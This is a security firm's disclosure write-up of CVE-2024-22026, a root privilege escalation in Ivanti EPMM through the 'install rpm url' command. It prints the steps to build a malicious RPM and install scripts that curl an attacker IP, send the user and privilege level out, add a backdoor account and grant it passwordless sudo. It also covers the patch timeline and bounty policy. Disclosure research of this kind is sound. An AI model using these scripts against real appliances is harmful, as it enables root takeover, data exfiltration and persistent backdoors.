Coordinated Disclosure

Exploiting CVE-2024-22026: Rooting Ivanti EPMM "MobileIron Core"

Redline Cyber Security
May 15, 2024
min read
Picture of Ivanti Mobile Iron building with text "Exploit Writeup for CVVE-2024022026 Rooting Ivanti EPMM"


Ivanti's Enterprise Mobility Management Platform (EPMM), previously known as "MobileIron Core", has been found to contain a high severity vulnerability, CVE-2024-22026, which allows for local privilege escalation via the [install rpm url] command in the clish restricted shell. This vulnerability, identified in versions prior to,, and, has been addressed with the latest updates from Ivanti.

Interestingly, CVE-2024-22026 closely resembles previously reported vulnerabilities, such as CVE-2021-3198 and CVE-2021-3540, as detailed in a Rapid7 blog post. However, while those vulnerabilities were due to command injection resulting from improper input sanitization, CVE-2024-22026 exploits the appliance software update process directly by specifying a malicious RPM package from a remote URL. This post provides a detailed analysis of a newly disclosed vulnerability, the attack methodology, and the suggested mitigation steps from Ivanti, as part of our coordinated disclosure process.

Background and Context

In the summer of 2023, Ivanti faced several zero-day vulnerabilities, and became the target-of-choice for much of the cybersecurity community. CISA even released a joint cybersecurity advisory in response to active exploitation of CVE-2023-35078 and CVE-2023-35081 from threat actors. Motivated by these events, we also began our security research on Ivanti's EPMM (formally MobileIron Core) appliance to try and uncover any additional vulnerabilities that might have been missed.

During this research, we discovered CVE-2024-22026, a vulnerability similar to those identified by Rapid7. While Rapid7's findings involved command injection due to improper input sanitization, our discovery exploits the software update process by leveraging a malicious RPM package hosted from a remote URL. It was only during the disclosure process and while writing this article that we became aware of this past research. Although we did not use the previous research as a starting point, we want to credit William Vu of Rapid7, who conducted similar MobileIron security research in 2021.

So we started from scratch on a fully patched EPMM installation running version Local accounts on the appliance can SSH into a restricted "jail shell" and run certain commands, but root access is not permitted. To conduct thorough security research, we needed root access. Using the method described in this post, we were able to break out of the restricted CLI shell and gain root access with relative simplicity. Initially, we didn't consider this an exploit but rather a means to access the inner workings of our actual target: the appliance itself. This access was just the gateway for performing more comprehensive security evaluations.

However, as our project load increased, we had less time to delve deeper into the underlying appliance for this security research project. This led us to pursue coordinated disclosure with Ivanti and share this root method with the world. We believe there is much more to uncover on the appliance, and with sufficient time, more severe vulnerabilities could be discovered.

Technical Overview

Vulnerability Description

CVE-2024-22026 stems from inadequate validation in the EPMM CLI’s tool installation command. The EPMM CLI console allows the ability to "Install tools or RPMs" via the [install] command. Further review shows that the [install rpm url] can fetch an RPM package from a user-provided URL, without verifying their authenticity. This flaw enables an attacker to execute arbitrary commands with root privileges by crafting and delivering a malicious RPM package.

Behind the scenes, the appliance is using [wget -t 3 -c <URL>] and then performing the command [/bin/rpm -Uvh *.rpm]. Based on this, the appliance is not enforcing signature verification or URL filtering of any sort.

Fun fact, the versions of curl and wget in use on this fully patched appliance were released in 2013 and contain many, many, known vulnerabilities. 🫠🫠🫠

[$] wget --version | head -n 1
GNU Wget 1.14 built on linux-gnu.
[$] curl --version | head -n 1
curl 7.29.0 (x86_64-redhat-linux-gnu) libcurl/7.29.0 NSS/3.53.1 zlib/1.2.7 libidn/1.28 libssh2/1.8.0

Exploitation and Attack

The exploitation process involves several steps:

1. Crafting a Malicious RPM:

The attacker creates a malicious RPM package that contains scripts designed to perform privilege escalation. The fpm tool can be used for this purpose.

➜  fpm -s dir -t rpm -n ivanti-privesc -v 13.37 -a i386 --description "Ivanti POC" --maintainer "securekomodo" --before-install --after-install -C .
Created package {:path=>"ivanti-privesc-13.37-1.i386.rpm"}

The fpm command above creates an RPM package named "ivanti-privesc-13.37-1.i386.rpm" which will combine 2 shell scripts, & for execution upon installation of the RPM package. The preinstall script is just a simple ping-back using curl to the attacker server for visibility and debugging to make sure the connection is working.

Contents of

➜  cat                           

curl -O http://<attacker IP>/poc

exit 0

During the postinstall phase, the script will report back to the attacker server the user /poc?user=<b64 user> and privilege level /poc?priv=<b64 priv> of the currently running process. It will then proceed to establish persistence by creating a new user account with root access. It is important to note that the useradd command must specify the shell with [useradd -s /bin/sh]; otherwise, the new user account will be created but remain in the restricted CLI environment!

Contents of

➜  cat 

set -e  # Enable strict error checking

# Function to print and exit with an error message
error_exit() {
  echo "Error: $1" >&
  exit 1

# Get current user and privilege level
CURRENT_USER=$(whoami | base64)
PRIV_LEVEL=$(id -u | base64)

curl http://<attacker IP>/poc?user=$CURRENT_USER
curl http://<attacker IP>/poc?priv=$PRIV_LEVEL

# Try to add user, must include /bin/sh
if ! useradd -s /bin/sh -m securekomodo; then
  error_exit "Failed to add user 'securekomodo'"

# Set password
echo "securekomodo:<redacted>" | chpasswd

# Grant root rights
if ! echo "securekomodo ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers; then
  error_exit "Failed to modify sudoers file"

exit 0
2. Hosting the Malicious Package:

The resulting file ivanti-privesc-13.37-1.i386.rpm was created and was hosted on our attacker server which was port forwarding HTTP port 80 traffic to our listening endpoint on port 1337.

➜  Ivanti cat poc
➜  Ivanti python3 -m http.server 1337
Serving HTTP on :: port 1337 (http://[::]:1337/) ...
3. Initiating the Exploit:

Initiating the attack is fairly simple and begins with the attacker gaining access to the EPMM CLI. This could occur through various means, such as exploiting another vulnerability or gaining physical access. Once in the CLI, the attacker uses the vulnerable [install rpm url <attacker URL>/<malicious RPM>] command and installs the malicious RPM on the target EPMM appliance.

The web requests coming from the appliance can be observed in realtime, and the feedback on the CLI indicates a successful installation of the update package.

Reviewing the base64 data returned to the C2 via web requests confirm the RPM installation process is running as root (priv 0)

➜  Ivanti echo cm9vdAo= | base64 -d
➜  Ivanti echo MAo= | base64 -d

Upon execution, the EPMM appliance downloads and installs the RPM package without verifying its source or integrity. The malicious RPM is executed with root privileges, allowing the attacker to create a new root user and gain full control over the system.

Note the appliance CLI command feedback of "works" which is the contents of the /poc file on our attacker server.

4. Login as Root via SSH

Attempting to SSH to the appliance using the newly created account confirms that the backdoor account was created and the user has full root access to the appliance's underlying operating system and code, effectively bypassing the intended restricted shell environment located at [/].


The successful exploitation of CVE-2024-22026 can have some high severity impact, including:

- Complete system compromise
- Unauthorized access to sensitive data
- Potential for further network intrusion

This vulnerability underscores the importance of strict validation of appliance software updates and restricted access to administrative interfaces.

Mitigation and Patching

Ivanti has released patches to address CVE-2024-22026 in the following versions:


Users are strongly advised to update their EPMM installations to one of these versions.

Disclosure Timeline

1. Discovery: Vulnerability identified by Bryan Smith of Redline Cyber Security.
2. Initial Report: Vulnerability reported to Ivanti on February 9, 2024.
3. Acknowledgment: Ivanti acknowledged the report and began investigation on February 13, 2024.
4. Patch Development: Ivanti developed and tested patches from February 13 to May 3, 2024.
5. Patch Release: Patches confirmed to be released in versions,, and
6. Public Disclosure: Ivanti sets target publication date of May 14. CVE-2024-22026 details publicly disclosed on May 15, 2024.

Bounty Program?

No bounty was offered for this vulnerability. According to Ivanti's policy, rooting their appliance does not qualify for a reward. Additionally, if future exploitation is found due to outdated software or libraries, even those over 10 years old (remember wget and curl from 2013...), they would appear to be ineligible for their bounty program as well. While this decision may be understandable from a policy perspective, we found it surprising and it highlights the need for bounty programs that adequately incentivize the discovery of all critical vulnerabilities.

1. vulnerabilities on hosts such as, but not limited, to:
   1. out of date software;
   2. restricted shell escapes;
   3. open ports;
   4. unnecessary exposed services;


Final Thoughts

The discovery of CVE-2024-22026 not only highlights the critical need for secure software development and maintenance practices but also raises suspicions about the overall security posture of Ivanti products. The fact that this vulnerability, which is strikingly similar to previously reported issues, was either never fully addressed or reintroduced in the codebase is concerning. Researchers should take note of these recurring issues and, if not already doing so, begin scrutinizing Ivanti products more closely. We believe that there is much more to uncover, and with sufficient time and effort, additional vulnerabilities may be discovered.

For more technical details and guidance on securing your EPMM environment, please refer to Ivanti’s security advisory which will be published, and linked on this post soon.

Share this post: